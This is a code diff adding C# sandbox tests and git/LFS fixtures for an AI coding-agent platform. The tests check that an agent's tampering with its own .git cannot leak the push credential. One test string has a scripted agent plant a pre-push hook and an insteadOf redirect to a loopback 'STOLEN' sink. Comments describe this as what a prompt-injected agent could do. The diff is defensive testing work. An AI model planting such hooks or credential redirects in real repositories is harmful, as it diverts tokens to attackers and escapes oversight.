CancellationTokenSource _stopping = new(); + private readonly List _requests = new(); + private readonly object _gate = new(); + private Task? _accept; + + public string Root { get; } = Directory.CreateTempSubdirectory("cs-pub-remote-").FullName; + public string Remote => Path.Combine(Root, "remote.git"); + private string Seed => Path.Combine(Root, "seed"); + private string LfsStore => Path.Combine(Root, "lfsstore"); + public string Url { get; private set; } = ""; + public string BaseSha { get; private set; } = ""; + + /// Count of authenticated git-receive-pack requests — a push that validated the real credential. + public int AuthenticatedPushRequests { get; private set; } + + /// OIDs the remote received over the LFS upload endpoint. + public List UploadedLfsOids { get; } = new(); + + /// True if any request to the remote carried the agent-injected . + public bool SawHostileHeader { get; private set; } + + public async Task StartAsync() + { + await GitAsync(Root, new[] { "init", "--bare", "-b", "main", Remote }); + await GitAsync(Root, new[] { "--git-dir", Remote, "config", "http.receivepack", "true" }); + Directory.CreateDirectory(LfsStore); + + Directory.CreateDirectory(Seed); + await GitAsync(Seed, new[] { "init", "-b", "main" }); + await GitAsync(Seed, new[] { "config", "user.name", "Fixture" }); + await GitAsync(Seed, new[] { "config", "user.email", "fixture@example.test" }); + await GitAsync(Seed, new[] { "config", "commit.gpgsign", "false" }); + + // Two commits, so a depth-1 clone's boundary commit has a parent the clone lacks — the shape every real repo with + // history has, and the one that makes the publish need the clone's shallow boundary. + foreach (var content in new[] { "base\n", "base, revised\n" }) + { + await File.WriteAllTextAsync(Path.Combine(Seed, "README.md"), content); + await GitAsync(Seed, new[] { "add", "." }); + await GitAsync(Seed, new[] { "commit", "-m", content.Trim() }); + } + + await PublishSeedAsync(); + + for (var attempt = 0; ; attempt++) + { + using var probe = new TcpListener(IPAddress.Loopback, 0); + probe.Start(); + var port = ((IPEndPoint)probe.LocalEndpoint).Port; + probe.Stop(); + Url = $"http://127.0.0.1:{port}/remote.git"; + _listener.Prefixes.Clear(); + _listener.Prefixes.Add($"http://127.0.0.1:{port}/"); + try { _listener.Start(); break; } + catch (HttpListenerException) when (attempt < 4) { } + } + + _accept = AcceptAsync(); + } + + /// The number of objects in the remote's LFS store that match . + public bool HasLfsObject(string oid) => File.Exists(Path.Combine(LfsStore, oid)); + + /// + /// Move main to a commit whose tree reuses a LEGACY subtree: one written with a zero-padded file mode + /// (0100644), as old git versions and some hosting web editors did. Strict fsck rejects that object + /// (zeroPaddedFilemode), yet it is already on the remote and every later commit that leaves the directory + /// alone reuses it. Call before the clone. + /// + public async Task AddLegacySubtreeCommitAsync() + { + var blob = await HashObjectAsync("blob", Encoding.UTF8.GetBytes("written by an old git\n")); + var legacy = await HashObjectAsync("tree", TreeEntry("0100644", "legacy.txt", blob)); + var readme = (await GitAsync(Seed, new[] { "rev-parse", "HEAD:README.md" })).Trim(); + var root = await HashObjectAsync("tree", TreeEntry("100644", "README.md", readme).Concat(TreeEntry("40000", "legacy", legacy)).ToArray()); + var commit = (await GitAsync(Seed, new[] { "commit-tree", root, "-p", "HEAD", "-m", "legacy subtree" })).Trim(); + + await GitAsync(Seed, new[] { "update-ref", "refs/heads/main", commit }); + await PublishSeedAsync(); + } + + /// One raw tree entry: <mode> <name>\0<20-byte sha>, written exactly as given (no mode normalisation). + public static byte[] TreeEntry(string mode, string name, string sha) => Encoding.ASCII.GetBytes($"{mode} {name}\0").Concat(Convert.FromHexString(sha)).ToArray(); + + /// Write an object verbatim (--literally, so git does not validate it) into or the seed; returns its sha. + public async Task HashObjectAsync(string type, byte[] content, string? repository = null) + { + var file = Path.Combine(Root, "object-" + Guid.NewGuid().ToString("N")); + await File.WriteAllBytesAsync(file, content); + return (await GitAsync(repository ?? Seed, new[] { "hash-object", "-w", "--literally", "-t", type, file })).Trim(); + } + + private async Task PublishSeedAsync() + { + BaseSha = (await GitAsync(Seed, new[] { "rev-parse", "HEAD" })).Trim(); + await GitAsync(Seed, new[] { "push", "--force", Remote, "main" }); + } + + private async Task AcceptAsync() + { + try + { + while (!_stopping.IsCancellationRequested) + { + var context = await _listener.GetContextAsync().WaitAsync(_stopping.Token); + _requests.Add(ServeAsync(context)); + } + } + catch (OperationCanceledException) when (_stopping.IsCancellationRequested) { } + catch (HttpListenerException) when (_stopping.IsCancellationRequested) { } + catch (ObjectDisposedException) when (_stopping.IsCancellationRequested) { } + } + + private async Task ServeAsync(HttpListenerContext context) + { + try + { + if (context.Request.Headers[HostileHeader] is not null) lock (_gate) SawHostileHeader = true; + + var path = context.Request.Url!.AbsolutePath; + + if (path.EndsWith("/info/lfs/objects/batch", StringComparison.Ordinal)) { await ServeLfsBatchAsync(context); return; } + if (path.Contains("/lfs-object/", StringComparison.Ordinal)) { await ServeLfsObjectAsync(context, path); return; } + + await ServeGitAsync(context, path); + } + finally { context.Response.Close(); } + } + + private static bool AuthOk(HttpListenerContext context) => + string.Equals(context.Request.Headers["Authorization"], "Basic " + Convert.ToBase64String(Encoding.UTF8.GetBytes($"x-access-token:{FakeToken}")), StringComparison.Ordinal); + + private void Unauthorized(HttpListenerContext context) + { + context.Response.StatusCode = 401; + context.Response.Headers["WWW-Authenticate"] = "Basic realm=\"fixture\""; + } + + private async Task ServeLfsBatchAsync(HttpListenerContext context) + { + if (!AuthOk(context)) { Unauthorized(context); return; } + + using var reader = new StreamReader(context.Request.InputStream); + var document = JsonDocument.Parse(await reader.ReadToEndAsync()); + var operation = document.RootElement.GetProperty("operation").GetString(); + var origin = context.Request.Url!.GetLeftPart(UriPartial.Authority); + + var objects = new List(); + foreach (var o in document.RootElement.GetProperty("objects").EnumerateArray()) + { + var oid = o.GetProperty("oid").GetString()!; + var size = o.GetProperty("size").GetInt64(); + var present = File.Exists(Path.Combine(LfsStore, oid)); + + var actions = operation == "upload" + ? present ? new Dictionary() : new Dictionary { ["upload"] = new { href = $"{origin}/lfs-object/{oid}" } } + : new Dictionary { ["download"] = new { href = $"{origin}/lfs-object/{oid}" } }; + + objects.Add(new { oid, size, actions }); + } + + var body = Encoding.UTF8.GetBytes(JsonSerializer.Serialize(new { transfer = "basic", objects })); + context.Response.StatusCode = 200; + context.Response.ContentType = "application/vnd.git-lfs+json"; + context.Response.ContentLength64 = body.Length; + await context.Response.OutputStream.WriteAsync(body); + } + + private async Task ServeLfsObjectAsync(HttpListenerContext context, string path) + { + if (!AuthOk(context)) { Unauthorized(context); return; } + + var oid = path[(path.LastIndexOf('/') + 1)..]; + + if (context.Request.HttpMethod == "PUT") + { + using var body = new MemoryStream(); + await context.Request.InputStream.CopyToAsync(body); + await File.WriteAllBytesAsync(Path.Combine(LfsStore, oid), body.ToArray()); + lock (_gate) UploadedLfsOids.Add(oid); + context.Response.StatusCode = 200; + return; + } + + var stored = Path.Combine(LfsStore, oid); + if (!File.Exists(stored)) { context.Response.StatusCode = 404; return; } + var bytes = await File.ReadAllBytesAsync(stored); + context.Response.ContentLength64 = bytes.Length; + await context.Response.OutputStream.WriteAsync(bytes); + } + + private async Task ServeGitAsync(HttpListenerContext context, string path) + { + var isPush = path.EndsWith("/git-receive-pack", StringComparison.Ordinal) || context.Request.QueryString["service"] == "git-receive-pack"; + + if (isPush) + { + if (!AuthOk(context)) { Unauthorized(context); return; } + lock (_gate) AuthenticatedPushRequests++; + } + + using var input = new MemoryStream(); + await context.Request.InputStream.CopyToAsync(input, _stopping.Token); + + var info = StartInfo(Root, new[] { "http-backend" }); + info.RedirectStandardInput = true; + info.Environment["GIT_PROJECT_ROOT"] = Root; + info.Environment["GIT_HTTP_EXPORT_ALL"] = "1"; + info.Environment["PATH_INFO"] = path; + info.Environment["QUERY_STRING"] = context.Request.Url!.Query.TrimStart('?'); + info.Environment["REQUEST_METHOD"] = context.Request.HttpMethod; + info.Environment["CONTENT_TYPE"] = context.Request.ContentType ?? ""; + info.Environment["CONTENT_LENGTH"] = input.Length.ToString(); + info.Environment["REMOTE_USER"] = "fixture"; + + using var process = Process.Start(info).ShouldNotBeNull(); + using var output = new MemoryStream(); + var read = process.StandardOutput.BaseStream.CopyToAsync(output, _stopping.Token); + var error = process.StandardError.ReadToEndAsync(_stopping.Token); + input.Position = 0; + await input.CopyToAsync(process.StandardInput.BaseStream, _stopping.Token); + process.StandardInput.Close(); + try { await Task.WhenAll(read, error, process.WaitForExitAsync(_stopping.Token)).WaitAsync(TimeSpan.FromSeconds(30)); } + catch { if (!process.HasExited) process.Kill(entireProcessTree: true); throw; } + process.ExitCode.ShouldBe(0, await error); + + var bytes = output.ToArray(); + var boundary = FindHeadersEnd(bytes); + boundary.ShouldBeGreaterThan(0, "git http-backend must emit CGI headers"); + foreach (var header in Encoding.ASCII.GetString(bytes, 0, boundary).Split('\n', StringSplitOptions.RemoveEmptyEntries)) + { + var pair = header.TrimEnd('\r').Split(':', 2); + if (pair.Length != 2) continue; + if (pair[0].Equals("Status", StringComparison.OrdinalIgnoreCase)) context.Response.StatusCode = int.Parse(pair[1].Trim().Split(' ')[0]); + else if (pair[0].Equals("Content-Type", StringComparison.OrdinalIgnoreCase)) context.Response.ContentType = pair[1].Trim(); + else context.Response.Headers[pair[0]] = pair[1].Trim(); + } + context.Response.ContentLength64 = bytes.Length - boundary; + await context.Response.OutputStream.WriteAsync(bytes.AsMemory(boundary), _stopping.Token); + } + + private static int FindHeadersEnd(byte[] bytes) + { + for (var index = 1; index < bytes.Length; index++) + { + if (bytes[index - 1] == '\n' && bytes[index] == '\n') return index + 1; + if (index >= 3 && bytes[index - 3] == '\r' && bytes[index - 2] == '\n' && bytes[index - 1] == '\r' && bytes[index] == '\n') return index + 1; + } + return -1; + } + + public static async Task GitAsync(string cwd, IReadOnlyList args) + { + using var process = Process.Start(StartInfo(cwd, args)).ShouldNotBeNull(); + var output = process.StandardOutput.ReadToEndAsync(); + var error = process.StandardError.ReadToEndAsync(); + try { await Task.WhenAll(output, error, process.WaitForExitAsync()).WaitAsync(TimeSpan.FromSeconds(30)); } + catch { if (!process.HasExited) process.Kill(entireProcessTree: true); throw; } + process.ExitCode.ShouldBe(0, await error); + return await output; + } + + private static ProcessStartInfo StartInfo(string cwd, IReadOnlyList args) + { + var info = new ProcessStartInfo("git") { WorkingDirectory = cwd, RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false }; + foreach (var arg in args) info.ArgumentList.Add(arg); + info.Environment["GIT_CONFIG_NOSYSTEM"] = "1"; + info.Environment["GIT_CONFIG_GLOBAL"] = Path.Combine(cwd, "absent-global-config"); + info.Environment["GIT_TERMINAL_PROMPT"] = "0"; + return info; + } + + public async ValueTask DisposeAsync() + { + _stopping.Cancel(); + _listener.Close(); + try + { + if (_accept is not null) await _accept; + await Task.WhenAll(_requests); + } + finally { _stopping.Dispose(); try { Directory.Delete(Root, recursive: true); } catch { /* best-effort */ } } + } +} + +/// A loopback endpoint that accepts and records every connection, answering nothing useful — the attacker a redirect (insteadOf / proxy / a hostile .lfsconfig) would reach. The publish must send it NOTHING. +internal sealed class LoopbackSink : IDisposable +{ + private readonly TcpListener _listener = new(IPAddress.Loopback, 0); + private int _connections; + + public LoopbackSink() + { + _listener.Start(); + _ = AcceptAsync(); + } + + public int Port => ((IPEndPoint)_listener.LocalEndpoint).Port; + public int Connections => Volatile.Read(ref _connections); + + private async Task AcceptAsync() + { + try + { + while (true) + { + using var client = await _listener.AcceptTcpClientAsync(); + Interlocked.Increment(ref _connections); + } + } + catch (Exception ex) when (ex is SocketException or ObjectDisposedException) { } + } + + public void Dispose() => _listener.Stop(); +} diff --git a/backend/tests/CodeSpace.SandboxTests/AgentPublishIsolationE2ETests.cs b/backend/tests/CodeSpace.SandboxTests/AgentPublishIsolationE2ETests.cs new file mode 100644 index 000000000..15aebaefa --- /dev/null +++ b/backend/tests/CodeSpace.SandboxTests/AgentPublishIsolationE2ETests.cs @@ -0,0 +1,194 @@ +using System.Net; +using System.Net.Sockets; +using CodeSpace.Core.Services.Agents; +using CodeSpace.Core.Services.Agents.Credentials.Broker; +using CodeSpace.Core.Services.Agents.Harnesses.Claude; +using CodeSpace.Core.Services.Agents.Harnesses.Codex; +using CodeSpace.Core.Services.Agents.Sandbox; +using CodeSpace.Core.Services.Agents.Sandbox.Isolation; +using CodeSpace.Core.Services.Agents.Sandbox.Runners; +using CodeSpace.Core.Services.Agents.Workspace; +using CodeSpace.Core.Services.Agents.Workspace.Providers; +using CodeSpace.Messages.Agents; +using CodeSpace.Messages.Enums; +using Microsoft.Extensions.Logging.Abstractions; +using Shouldly; +using Xunit.Abstractions; + +namespace CodeSpace.SandboxTests; + +/// +/// 🟢 HIGH fidelity (Rule 12), model excepted. A REAL pinned CLI agent — driven by the stub model +/// () — runs in a REAL provider clone of a loopback smart-HTTP remote and, as a +/// prompt-injected agent could, plants a pre-push hook and a url.<sink>.insteadOf http:// in its own +/// .git while making a change. Then the PRODUCTION capture + publish () +/// runs against that remote with a FAKE token. The branch must land on the legit remote, the attacker sink must be +/// contacted zero times (so the token is never redirected to it), and the planted pre-push must never fire — because the +/// publish carries the branch out as hardened bundles and pushes it from a fresh platform-owned repo, so the credential +/// and the network never meet the agent's .git. +/// +/// The CLI binaries, the production harness argv, the production (bubblewrap where +/// the host confines) and the real broker all run for real; only the model behind the broker is scripted. Armed by +/// (the sandbox lane sets it after installing the pins) or a +/// harness command override; otherwise the arm returns. Each arm that ran prints , which the lane +/// requires, so a silent return can never pass for coverage. +/// +/// Both arms run the agent at Standard, the default tier that may write its workspace. This root lane runs the +/// Codex arm; the Claude arm runs in the non-root lane (), because the pinned Claude +/// CLI refuses bypassPermissions (a Standard run's mode) to uid 0, and a Confined Claude could plant nothing. +/// +[Trait("Category", "Sandbox")] +public sealed class AgentPublishIsolationE2ETests(ITestOutputHelper output) : IDisposable +{ + public const string RanMarker = "[publish-isolation-e2e] ran"; + + private readonly List _directories = []; + + [Fact] + public Task A_real_codex_agent_that_plants_push_vectors_in_its_git_cannot_reach_the_sink_when_the_platform_publishes() => PlantedPushVectorsReachNoSinkAsync(CodexHarness.HarnessKind, lane: "root"); + + /// + /// The arm, for either lane: a real agent at Standard plants a pre-push hook + /// and an insteadOf redirect in its clone's .git, then the production capture + publish must land the + /// branch on the legit remote while the sink sees no connection and the hook never fires. + /// + internal async Task PlantedPushVectorsReachNoSinkAsync(string harnessKind, string lane) + { + var harness = ReviewerReadsItsDiffE2ETests.HarnessFor(harnessKind); + + if (!ReviewerReadsItsDiffE2ETests.Armed(harnessKind) || OperatingSystem.IsWindows()) return; + + // Codex's OWN sandbox keeps .git read-only unless our confinement stands it down (see + // ReviewerReadsItsDiffE2ETests.A_standard_codex_writes…), so it can only plant in .git when confined. Claude has + // no such sandbox and plants either way. + if (harnessKind == CodexHarness.HarnessKind && BubblewrapSandbox.Available is null) + { + BubblewrapSandbox.IsRequired.ShouldBeFalse("Sandbox:RequireConfinement is set but this host cannot sandbox — the Codex arm needs our confinement to stand Codex's own sandbox down"); + return; + } + + await ReviewerReadsItsDiffE2ETests.RequirePinnedBinaryAsync(harness, harnessKind); + + await using var remote = new GitHttpFixture(); + await remote.StartAsync(); + using var sink = new ConnectionSink(); + + var workspacesRoot = NewDirectory("publish-iso-workspaces"); + var provider = new LocalGitWorkspaceProvider(new SandboxRunnerRegistry(new[] { new LocalProcessRunner() }), NullLogger.Instance, workspacesRoot); + await using var handle = await provider.PrepareAsync(WorkspaceProvisionRequest.FromSingle(new WorkspaceRequest { RepositoryUrl = remote.Url, Token = "fixture-only-token", TokenUsername = "x-access-token" }), CancellationToken.None); + + var branchName = "codespace/agent/" + Guid.NewGuid().ToString("N"); + var prePushMarker = Path.Combine(handle.Directory, ".git", "PRE_PUSH_FIRED"); + + // The real agent plants the push vectors into its .git AND makes a work-tree change, so there is something to publish. + var plant = $"printf 'produced-by-agent\\n' > produced.txt && mkdir -p .git/hooks && printf '#!/bin/sh\\ntouch .git/PRE_PUSH_FIRED\\n' > .git/hooks/pre-push && chmod +x .git/hooks/pre-push && printf '\\n[url \"http://127.0.0.1:{sink.Port}/STOLEN/\"]\\n\\tinsteadOf = http://\\n' >> .git/config"; + await RunAgentAsync(harness, harnessKind, handle.Directory, plant); + + File.Exists(Path.Combine(handle.Directory, ".git", "hooks", "pre-push")).ShouldBeTrue("fixture check: the agent must have planted its pre-push hook, or this proves nothing"); + (await File.ReadAllTextAsync(Path.Combine(handle.Directory, ".git", "config"))).ShouldContain("insteadOf", customMessage: "fixture check: the agent must have planted the insteadOf redirect"); + + // Production capture + publish over the clone the agent just tampered. + var changes = await handle.CaptureChangesAsync(CancellationToken.None); + var branch = await ((IWorkspacePushHandle)handle).PushChangesAsync(branchName, CancellationToken.None); + + branch.ShouldBe(branchName, "the publish produced the branch despite the planted vectors"); + changes.ChangedFiles.ShouldContain("produced.txt"); + remote.AuthenticatedPushRequests.ShouldBeGreaterThan(0, "the real credential reached the LEGIT remote"); + (await GitHttpFixture.GitAsync(remote.Root, new[] { "--git-dir", remote.Remote, "show", $"refs/heads/{branchName}:produced.txt" })).ShouldBe("produced-by-agent\n"); + + sink.Connections.ShouldBe(0, "the planted insteadOf never redirected a credentialed request to the attacker sink"); + File.Exists(prePushMarker).ShouldBeFalse("the planted pre-push hook never fired — the push ran in the clean repo, not the agent clone"); + + output.WriteLine($"{RanMarker} {(lane == "root" ? "" : lane + " ")}{harnessKind} uid={NonRootWorker.EffectiveUid()} confined={BubblewrapSandbox.Available is not null}"); + } + + /// Run the real CLI once, driven by the stub model to execute and then answer. + private async Task RunAgentAsync(IAgentHarness harness, string harnessKind, string workspace, string command) + { + var nonce = Guid.NewGuid().ToString("N"); + var upstream = new ScriptedModelUpstream([command], $"DONE-{nonce}"); + using var broker = LoopbackModelCredentialBroker.ForTest(upstream); + var permissions = AgentAutonomyPolicy.Derive(AgentAutonomyLevel.Standard); + var brokered = await OpenLeaseAsync(broker, permissions); + + var task = new AgentTask + { + Goal = $"Make the change. GOAL-{nonce}", + Harness = harness.Kind, + Model = harnessKind == ClaudeCodeHarness.HarnessKind ? "claude-sonnet-4-6" : "gpt-5.4", + WorkspaceDirectory = workspace, + Permissions = permissions, + TimeoutSeconds = 300, + Environment = new Dictionary(ReviewerReadsItsDiffE2ETests.Brokered(harness, brokered)) { ["HOME"] = NewDirectory("publish-iso-home") }, + }; + + var spec = ReviewerReadsItsDiffE2ETests.ProductionSpec(harness, task, brokered); + var lines = new List(); + + using var budget = new CancellationTokenSource(TimeSpan.FromSeconds((task.TimeoutSeconds ?? 300) + 60)); + var result = await new LocalProcessRunner().RunStreamingAsync(spec, (line, _) => { lines.Add(line); return Task.CompletedTask; }, budget.Token); + + result.Status.ShouldBe(SandboxStatus.Success, $"the {harnessKind} agent did not finish cleanly (exit {result.ExitCode}); stderr: {ReviewerReadsItsDiffE2ETests.Tail(result.Stderr)}; argv: {string.Join(' ', spec.Args)}"); + } + + private async Task OpenLeaseAsync(LoopbackModelCredentialBroker broker, AgentPermissions permissions) + { + var runId = Guid.NewGuid(); + var lease = new ModelCredentialLeaseRequest + { + RunId = runId, TeamId = Guid.NewGuid(), Epoch = 1, Ttl = TimeSpan.FromMinutes(10), SocketPath = AgentRunExecutor.ModelBrokerSocketPathFor(permissions, runId), + Upstream = new ResolvedModelCredential { Provider = "Custom", ApiKey = "sk-publish-iso-e2e", BaseUrl = "https://scripted-model.invalid" }, + }; + + if (lease.SocketPath is { } socketPath) _directories.Add(Path.GetDirectoryName(socketPath)!); + + return (await broker.OpenAsync(lease, CancellationToken.None)).ShouldNotBeNull("the broker must be able to listen — a brokered run has no other route to its model"); + } + + private string NewDirectory(string label) + { + var directory = Path.Combine(Path.GetTempPath(), $"cs-{label}-{Guid.NewGuid():N}"); + Directory.CreateDirectory(directory); + _directories.Add(directory); + return directory; + } + + public void Dispose() + { + foreach (var directory in _directories) + { + try { Directory.Delete(directory, recursive: true); } catch { /* best-effort */ } + } + } + + /// A loopback endpoint that accepts and counts every connection — the attacker a planted insteadOf would redirect to. The publish must send it nothing. + private sealed class ConnectionSink : IDisposable + { + private readonly TcpListener _listener = new(IPAddress.Loopback, 0); + private int _connections; + + public ConnectionSink() + { + _listener.Start(); + _ = AcceptAsync(); + } + + public int Port => ((IPEndPoint)_listener.LocalEndpoint).Port; + public int Connections => Volatile.Read(ref _connections); + + private async Task AcceptAsync() + { + try + { + while (true) + { + using var client = await _listener.AcceptTcpClientAsync(); + Interlocked.Increment(ref _connections); + } + } + catch (Exception ex) when (ex is SocketException or ObjectDisposedException) { } + } + + public void Dispose() => _listener.Stop(); + } +} diff --git a/backend/tests/CodeSpace.SandboxTests/GitWorkspaceIsolationE2ETests.cs b/backend/tests/CodeSpace.SandboxTests/GitWorkspaceIsolationE2ETests.cs index 71165661e..0f99db6e9 100644 --- a/backend/tests/CodeSpace.SandboxTests/GitWorkspaceIsolationE2ETests.cs +++ b/backend/tests/CodeSpace.SandboxTests/GitWorkspaceIsolationE2ETests.cs @@ -216,10 +216,17 @@ public async Task Network_clone_pin_fetch_capture_and_authenticated_push_match_t (await GitHttpFixture.GitAsync(origin.Root, new[] { "--git-dir", origin.Remote, "rev-parse", "main" })).Trim().ShouldBe(origin.TipSha); recorder.Specs.ShouldContain(spec => spec.Args.Contains("fetch")); recorder.Specs.ShouldContain(spec => spec.Args.Contains("set-url")); + + // Clone, pin-fetch and capture run IN the workspace; the publish runs in a sibling publish dir and the + // bundles bind the workspace read-only to carry the branch out. A network repository still grants no + // EXTERNAL host source path — the only read-only bind anywhere is the clone itself, for bundling. + var publishDir = recorder.Specs.Where(spec => spec.Args.Contains("bundle")).Select(spec => spec.WorkingDirectory).Distinct().ShouldHaveSingleItem().ShouldNotBeNull(); + var relative = Path.GetRelativePath(workspace, publishDir); + (relative == ".." || relative.StartsWith(".." + Path.DirectorySeparatorChar, StringComparison.Ordinal)).ShouldBeTrue($"the publish repo {publishDir} is staged outside the agent workspace {workspace}, not inside it"); foreach (var spec in recorder.Specs) { - spec.WorkingDirectory.ShouldBe(workspace, string.Join(' ', spec.Args)); - spec.ReadOnlyPaths.ShouldBeEmpty("a network repository does not grant host source access"); + (spec.WorkingDirectory == workspace || spec.WorkingDirectory == publishDir).ShouldBeTrue(string.Join(' ', spec.Args)); + foreach (var readOnly in spec.ReadOnlyPaths) readOnly.ShouldBe(workspace, string.Join(' ', spec.Args)); } } Directory.Exists(workspace).ShouldBeFalse(); diff --git a/backend/tests/CodeSpace.SandboxTests/NonRootWorkerE2ETests.cs b/backend/tests/CodeSpace.SandboxTests/NonRootWorkerE2ETests.cs index ceb98de3a..811a953ce 100644 --- a/backend/tests/CodeSpace.SandboxTests/NonRootWorkerE2ETests.cs +++ b/backend/tests/CodeSpace.SandboxTests/NonRootWorkerE2ETests.cs @@ -17,7 +17,8 @@ namespace CodeSpace.SandboxTests; /// (), then runs the SAME arm the root lane runs, so both lanes pin one behaviour — /// but for two arms: this worker cannot filter, so its allowlist run is severed where the root lane's is filtered, and /// it still reaches its broker; and its repository-config arm runs Claude at Standard, the tier the root lane's uid 0 -/// cannot give it. +/// cannot give it. The publish-isolation Claude arm runs here alone for the same reason: a Confined Claude could not +/// write the .git it plants into, so the root lane runs only that class's Codex arm. /// /// Selected by its trait alone (--filter Category=SandboxNonRoot), never by the root lane's /// Category=Sandbox. Every arm that ran prints its class's marker with non-root and its uid, which the @@ -151,4 +152,15 @@ public async Task A_standard_claude_goal_that_opens_with_a_slash_word_reaches_th using var arms = new GoalChannelE2ETests(output); await arms.SlashWordReachesTheModelAsync(word, AgentAutonomyLevel.Standard, Lane); } + + [Fact] + public async Task A_standard_claude_agent_that_plants_push_vectors_in_its_git_cannot_reach_the_sink_when_the_platform_publishes() + { + // The publish-isolation arm with Claude at Standard, the posture the worker ships it in: bypassPermissions, which the + // pinned CLI refuses to the root lane's uid 0, and a workspace it may write, so it can plant into its own .git. + if (!NonRootWorker.Require()) return; + + using var arms = new AgentPublishIsolationE2ETests(output); + await arms.PlantedPushVectorsReachNoSinkAsync(ClaudeCodeHarness.HarnessKind, Lane); + } } diff --git a/backend/tests/CodeSpace.UnitTests/Workflows/LocalGitWorkspaceProviderTests.cs b/backend/tests/CodeSpace.UnitTests/Workflows/LocalGitWorkspaceProviderTests.cs index 0d1dfe658..ce780dcfc 100644 --- a/backend/tests/CodeSpace.UnitTests/Workflows/LocalGitWorkspaceProviderTests.cs +++ b/backend/tests/CodeSpace.UnitTests/Workflows/LocalGitWorkspaceProviderTests.cs @@ -461,51 +461,152 @@ await Should.ThrowAsync(async () => [Fact] public void Kind_is_local() => NewProvider().Kind.ShouldBe("local"); + // ─── LFS store paths the publish copies ────────────────────────────────── + + [Theory] + [InlineData("ab/cd/abcd000000000000000000000000000000000000000000000000000000000000", true)] // // + [InlineData("ab/ce/abcd000000000000000000000000000000000000000000000000000000000000", false)] // second segment is not the oid's + [InlineData("AB/CD/ABCD000000000000000000000000000000000000000000000000000000000000", false)] // git-lfs writes lowercase only + [InlineData("ab/cd/abcd00000000000000000000000000000000000000000000000000000000000", false)] // 63 digits + [InlineData("ab/cd/abcd00000000000000000000000000000000000000000000000000000000000g", false)] // not hex + [InlineData("abcd000000000000000000000000000000000000000000000000000000000000", false)] // flat, no fan-out + [InlineData("x/ab/cd/abcd000000000000000000000000000000000000000000000000000000000000", false)] // one level too deep + [InlineData("zz/not-an-object", false)] + public void IsLfsObjectPath_accepts_only_git_lfs_object_paths(string relative, bool expected) => + LocalGitWorkspaceProvider.IsLfsObjectPath(relative.Replace('/', Path.DirectorySeparatorChar)).ShouldBe(expected); + // ─── Git-command routing: agent-clone hardening vs remote access ────────── [Theory] - [InlineData(false)] // the platform commits the agent's edits - [InlineData(true)] // the agent committed itself: "nothing to commit", then `diff --quiet` decides the push - public async Task Every_git_command_after_the_agent_turn_runs_hardened_except_the_push_and_its_readback(bool agentCommittedItself) + [InlineData(false, false)] // the platform commits the agent's edits + [InlineData(true, false)] // the agent committed itself: "nothing to commit", then `diff --quiet` decides the push + [InlineData(false, true)] // a multi-repo workspace: the clone is a subdirectory of an agent-writable workspace root + public async Task After_the_agent_turn_the_credential_and_network_never_touch_the_agent_clone(bool agentCommittedItself, bool multiRepo) { - // Everything the provider runs over the clone AFTER the agent's turn — capture, re-attach capture, checkout, - // add, commit, diff --quiet, rev-parse — must be hooks/fsmonitor-suppressed, off the network and credential-free. - // Only the authenticated push and its ls-remote readback still carry the token and the network. + // G1 + G2 together. Everything the provider runs IN the agent clone after the agent's turn — capture, re-attach + // capture, checkout, add, commit, diff --quiet, the base ref and the ancestry check — is hooks/fsmonitor-suppressed, + // off the network and credential-free. The branch leaves the clone as hardened `bundle create`s (the clone bound + // read-only, the bundles written OUTSIDE the workspace); the bundle import, the authenticated push, its LFS upload + // and its ls-remote readback run in a fresh publish repo. So the clone credential and the network never meet the + // agent-writable .git. var runner = new PostTurnRunner(agentCommittedItself); var provider = new LocalGitWorkspaceProvider(new SandboxRunnerRegistry(new[] { runner }), NullLogger.Instance); const string token = "fixture-token"; - await using var handle = await provider.PrepareAsync(WorkspaceProvisionRequest.FromSingle(new WorkspaceRequest { RepositoryUrl = "https://example.test/repo.git", Token = token }), CancellationToken.None); + await using var handle = await provider.PrepareAsync(PostTurnProvision(token, multiRepo), CancellationToken.None); + var workspaceRoot = handle.Directory; + var cloneDir = handle.Repositories.Single(r => r.Alias == handle.PrimaryAlias).Directory; var prepared = runner.Specs.Count; await handle.CaptureChangesAsync(CancellationToken.None); - await provider.CaptureChangesFromPathAsync(handle.Directory, handle.Repositories.Single().BaseSha!, CancellationToken.None); - (await ((IWorkspacePushHandle)handle).PushChangesAsync("codespace/run", CancellationToken.None)).ShouldBe("codespace/run"); + await provider.CaptureChangesFromPathAsync(cloneDir, handle.Repositories.Single(r => r.Alias == handle.PrimaryAlias).BaseSha!, CancellationToken.None); + (await ((IWorkspacePushHandle)handle).PushChangesAsync(handle.PrimaryAlias, "codespace/run", CancellationToken.None)).ShouldBe("codespace/run"); var postTurn = runner.Specs.Skip(prepared).ToList(); - static bool ReachesTheRemote(SandboxSpec s) => s.Args.Contains("push") || s.Args.Contains("ls-remote"); - var remote = postTurn.Where(ReachesTheRemote).ToList(); - var local = postTurn.Where(s => !ReachesTheRemote(s)).ToList(); + var inClone = postTurn.Where(s => s.WorkingDirectory == cloneDir).ToList(); + var inPublishRepo = postTurn.Where(s => s.WorkingDirectory != cloneDir).ToList(); + + ShouldNeverMeetTheAgentClone(postTurn, token, cloneDir, workspaceRoot); + ShouldRunHardenedInTheClone(inClone, token, agentCommittedItself); + ShouldStageThePublishRepoOutsideTheWorkspace(inPublishRepo, workspaceRoot); + ShouldBundleTheBranchOutReadOnly(inPublishRepo, token, cloneDir, workspaceRoot); + ShouldCheckOnlyTheObjectsTheBranchAdds(inPublishRepo); + } + + private static WorkspaceProvisionRequest PostTurnProvision(string token, bool multiRepo) => multiRepo + ? new WorkspaceProvisionRequest + { + PrimaryAlias = "web", + Repositories = new[] + { + new WorkspaceRepositoryProvision { Alias = "web", CloneRequest = new WorkspaceRequest { RepositoryUrl = "https://example.test/web.git", Token = token }, Access = WorkspaceAccess.Write, IsPrimary = true }, + new WorkspaceRepositoryProvision { Alias = "lib", CloneRequest = new WorkspaceRequest { RepositoryUrl = "https://example.test/lib.git" }, Access = WorkspaceAccess.Read }, + }, + } + : WorkspaceProvisionRequest.FromSingle(new WorkspaceRequest { RepositoryUrl = "https://example.test/repo.git", Token = token }); + + /// The credential (in the authed URL) and the network appear ONLY in the publish repo: never with the agent clone as the working directory, never pointed at it with an argument (-C, --git-dir, --work-tree), never with it bound in. + private static void ShouldNeverMeetTheAgentClone(IReadOnlyList postTurn, string token, string cloneDir, string workspaceRoot) + { + var reachesOut = postTurn.Where(s => s.AllowNetwork || s.Args.Any(a => a.Contains(token))).ToList(); - remote.Count.ShouldBe(2, "exactly one push and one ls-remote readback reach the remote"); - remote.ShouldAllBe(s => 